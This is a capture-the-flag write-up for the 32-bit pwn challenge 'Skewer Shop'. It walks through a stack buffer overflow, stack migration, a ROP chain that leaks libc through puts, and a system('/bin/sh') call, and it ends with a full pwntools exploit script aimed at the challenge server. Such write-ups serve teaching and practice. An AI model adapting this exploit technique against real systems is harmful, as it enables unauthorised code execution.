# [EN] Skewer Shop
###### tags: `Writeup` `Pwn` `English`
> [name=Curious]
## Train Of Thought & Solution
After downloading, you can find out through the compilation commands in the `Makefile` that the `chal` binary is 32 bits and does not have PIE and Canary enabled.
After analyzing `chal.c`, it is apparent that there is a small buffer overflow vulnerability at the `read(0, buf, 0x20)` portion. By examining the assembly of `chal` in detail using the command `objdump -d -M intel chal`, you can discover

The `read` function reads 0x20 bytes from the location `$ebp - 0x14`. Based on the provided information or hints, it can be inferred that this challenge likely requires the use of two techniques: ROP and Stack Migration. Since there is no PIE, we can directly utilize the assembly in the `.text` section of this binary.
Since the length of the BOF is short, the first step is to perform Stack Migration, which involves writing an ROP Chain to the location after the Stack Migration. So let's first examine where we can migrate the stack to.
If you run `chal` with GDB, you can see

You can observe that the memory range `0x804c000 - 0x804d000` has read & write permissions. We can select `0x804d000 - 0x100` as the target for Stack Migration (referred to as `buf1` from now on).
To write the ROP chain to the Stack Migration target, we need to construct the stack appropriately.
```
ebp -> | buf1
| 0x080491eb
| buf1
```
Afterwards, when the program executes the `leave` instruction, it will overwrite the value of `$ebp` with the address of `buf1` and then resume execution.

After that, when the `push 0x0` instruction is executed, the stack will look like
```
esp -> | 0
| buf1
```
Because the `read` function requires 3 arguments, if we carefully examine the stack, we can observe that the 4 bytes after `buf1` contain a large number. Therefore, when the `call 0x8049050 <read@plt>` instruction is executed, it becomes `read(0, buf1, large number)`.
Next, we need to construct the ROP chain after Stack Migration to `buf1`.
There are many options for constructing the ROP chain since there is no specific length limitation. However, the general goal of the ROP chain is to locate the libc address and get a shell. One potential issue here is that the `chal` binary itself has limited ROP gadgets.

Therefore, my suggested approach for constructing the ROP chain is as follows
```
| buf2 ; 0x804d000 - 0x80
| puts_plt ; `return to puts@plt` is same as calling `puts@plt`, but didn't push `return addres` to stack
| pop_ebx_ret ; `puts@plt`'s return ROP gadget
| read_got ; `puts@plt`'s arg, used to leak libc
| read_plt ; read ROP Chain for next Stack Migration from user (already get libc's addres)
| leave_ret ; Stack Migrate
| 0
| buf2
| 0x80
```
After constructing the ROP chain, the next step would be to execute instructions that allow you to obtain a shell.
```
| buf1
| system_addr ; libc's system function
| leave_ret ; it doesn't matter
| buf2 + 0x10. ; point to `/bin/sh`
| b"/bin"
| b"/sh\x00"
```
Once the ROP chain is constructed, the next step is to identify the addresses or offsets required. Since `chal` is executed within a Docker container, the relevant offsets related to libc should be obtained from the libc within the Docker environment.
To run the Docker environment, you can use the command `docker compose up -d`. After that, you can use `docker ps` to view information about the containers.

Afterwards, you can use the command `docker exec -it <container_id> bash` to enter the Docker container. Once inside, navigate to the `/home/chal` directory where you can find the `chal`. To check the libraries imported by `chal`, you can use the command `ldd chal`

Once you have identified the shared library used by `chal`, such as libc.so.6, you can use the command `objdump -T /lib32/libc.so.6 | grep <function name>` to search for the offset of a specific function. Let's take `system` as an example.

then you have determined that the offset of the `system` function is `0x47cb0`.
Finally, all you need to do is write the solve script to obtain the shell and get the flag.
Solve Script :
```python
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
buf1 = 0x804d000 - 0x100
buf2 = 0x804d000 - 0x80
read_plt = 0x8049050
read_got = 0x804c010
puts_plt = 0x8049060
leave_ret = 0x80491fd
pop_ebx_ret = 0x08049022
r = remote('lotuxctf.com', 10001)
r.recvline()
r.send(b'a' * 0x14 + flat(buf1, 0x080491eb, buf1))
r.send(flat(
buf2,
puts_plt, pop_ebx_ret, read_got,
read_plt, leave_ret, 0, buf2, 0x80
))
libc = u32(r.recv(4)) - 0x01084c0
info(f'libc : {hex(libc)}')
system_addr = libc + 0x0047cb0
r.recv(8)
r.send(flat(
buf1,
system_addr, leave_ret, buf2 + 0x10
) + b'/bin/sh\x00')
r.interactive()
```
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}